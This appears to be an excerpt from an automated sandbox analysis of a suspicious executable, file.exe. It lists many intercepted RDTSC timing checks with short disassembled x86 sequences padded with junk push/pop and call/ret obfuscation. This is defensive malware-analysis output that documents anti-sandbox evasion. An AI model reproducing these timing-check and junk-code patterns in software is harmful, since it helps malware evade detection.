Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0470D second address: C04712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4F78 second address: BD4F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007F23CCC4C816h 0x0000000c popad 0x0000000d jng 00007F23CCC4C82Ah 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007F23CCC4C822h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0B885 second address: C0B88A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0A922 second address: C0A927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FBFF second address: C0FC2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F23CC733A26h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F23CC733A2Fh 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FC2B second address: C0FC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FC2F second address: C0FC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FC33 second address: C0FC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F36B second address: C0F36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F52C second address: C0F530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F530 second address: C0F560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F23CC733A3Fh 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F560 second address: C0F565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FAC8 second address: C0FADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FADB second address: C0FAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jnc 00007F23CCC4C816h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12EDB second address: C12EF2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CC733A28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F23CC733A34h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C131E2 second address: C131E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C134FC second address: C13500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13500 second address: C1350D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C139FB second address: C139FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C139FF second address: C13A11 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F23CCC4C818h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13A11 second address: C13A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C143B6 second address: C143C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C143C3 second address: C143C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C143C7 second address: C143CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C143CB second address: C143D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C143D1 second address: C14422 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, di 0x0000000c push 00000000h 0x0000000e jmp 00007F23CCC4C827h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F23CCC4C818h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f push eax 0x00000030 push edi 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15358 second address: C153AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D2A29h] 0x0000000f push 00000000h 0x00000011 mov di, dx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F23CC733A28h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 push eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F23CC733A35h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15BB7 second address: C15BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23CCC4C828h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F23CCC4C824h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15BF0 second address: C15BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1663D second address: C16641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15BF5 second address: C15BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C169DC second address: C169FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F23CCC4C824h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16641 second address: C16647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16647 second address: C16663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F23CCC4C81Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1813B second address: C18153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CC733A34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C172B6 second address: C172C0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CCC4C81Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C172C0 second address: C172D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F23CC733A2Ch 0x0000000f jg 00007F23CC733A26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C172D5 second address: C172DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AD70 second address: C1AD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AD74 second address: C1AD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AD78 second address: C1ADC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 jns 00007F23CC733A26h 0x0000000f jng 00007F23CC733A26h 0x00000015 popad 0x00000016 pop ecx 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b push ebx 0x0000001c cmc 0x0000001d pop ebx 0x0000001e pop edi 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007F23CC733A28h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov bx, ax 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 push eax 0x00000043 pop eax 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ADC8 second address: C1ADCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19663 second address: C19671 instructions: 0x00000000 rdtsc 0x00000002 je 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BF74 second address: C1BF8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F23CCC4C818h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CCB5 second address: C1CD3E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F23CC733A2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F23CC733A39h 0x00000011 pushad 0x00000012 jmp 00007F23CC733A2Bh 0x00000017 jnp 00007F23CC733A26h 0x0000001d popad 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F23CC733A28h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 add dword ptr [ebp+122D274Eh], edx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F23CC733A28h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000016h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b xor dword ptr [ebp+12448118h], ecx 0x00000061 movzx ebx, ax 0x00000064 push 00000000h 0x00000066 jl 00007F23CC733A2Ch 0x0000006c mov dword ptr [ebp+122D2720h], ecx 0x00000072 xchg eax, esi 0x00000073 push ecx 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BF8E second address: C1BF93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CD3E second address: C1CD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F23CC733A2Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1DC09 second address: C1DC13 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CE3C second address: C1CE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1DE24 second address: C1DE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EA39 second address: C1EA3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CE47 second address: C1CF04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F23CCC4C827h 0x0000000d nop 0x0000000e mov ebx, 7B0D96D2h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F23CCC4C818h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D37A5h] 0x0000003a jmp 00007F23CCC4C827h 0x0000003f mov ebx, dword ptr [ebp+122D1922h] 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c ja 00007F23CCC4C81Bh 0x00000052 mov eax, dword ptr [ebp+122D0E15h] 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push esi 0x0000005d call 00007F23CCC4C818h 0x00000062 pop esi 0x00000063 mov dword ptr [esp+04h], esi 0x00000067 add dword ptr [esp+04h], 0000001Bh 0x0000006f inc esi 0x00000070 push esi 0x00000071 ret 0x00000072 pop esi 0x00000073 ret 0x00000074 mov dword ptr [ebp+122D1E92h], ebx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EA3F second address: C1EA89 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f movsx ebx, dx 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D1E9Eh], esi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F23CC733A28h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 jns 00007F23CC733A27h 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF04 second address: C1CF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EA89 second address: C1EAA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF08 second address: C1CF0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EAA4 second address: C1EAB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F23CC733A30h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF0E second address: C1CF18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EAB9 second address: C1EACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007F23CC733A28h 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF18 second address: C1CF26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF26 second address: C1CF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FBC8 second address: C1FBCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ECE5 second address: C1ECEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FBCC second address: C1FBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ECEB second address: C1ECEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FBD6 second address: C1FBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ECEF second address: C1ED0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007F23CC733A3Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F23CC733A2Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FBDA second address: C1FBFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20D90 second address: C20D9A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23A08 second address: C23A95 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F23CCC4C834h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F23CCC4C818h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov bl, 71h 0x0000002c push 00000000h 0x0000002e or dword ptr [ebp+12441B63h], ecx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F23CCC4C818h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D3124h], ecx 0x00000056 push eax 0x00000057 jl 00007F23CCC4C81Eh 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2600A second address: C26092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F23CC733A28h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F23CC733A28h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D1D2Eh], eax 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ebx 0x00000049 call 00007F23CC733A28h 0x0000004e pop ebx 0x0000004f mov dword ptr [esp+04h], ebx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc ebx 0x0000005c push ebx 0x0000005d ret 0x0000005e pop ebx 0x0000005f ret 0x00000060 sbb edi, 4FE792C9h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007F23CC733A2Ch 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26092 second address: C26097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26097 second address: C2609D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFFFF second address: BD000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD000E second address: BD0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0012 second address: BD0016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0016 second address: BD0033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23CC733A37h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29529 second address: C29543 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F23CCC4C81Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F23CCC4C816h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C295FC second address: C29600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
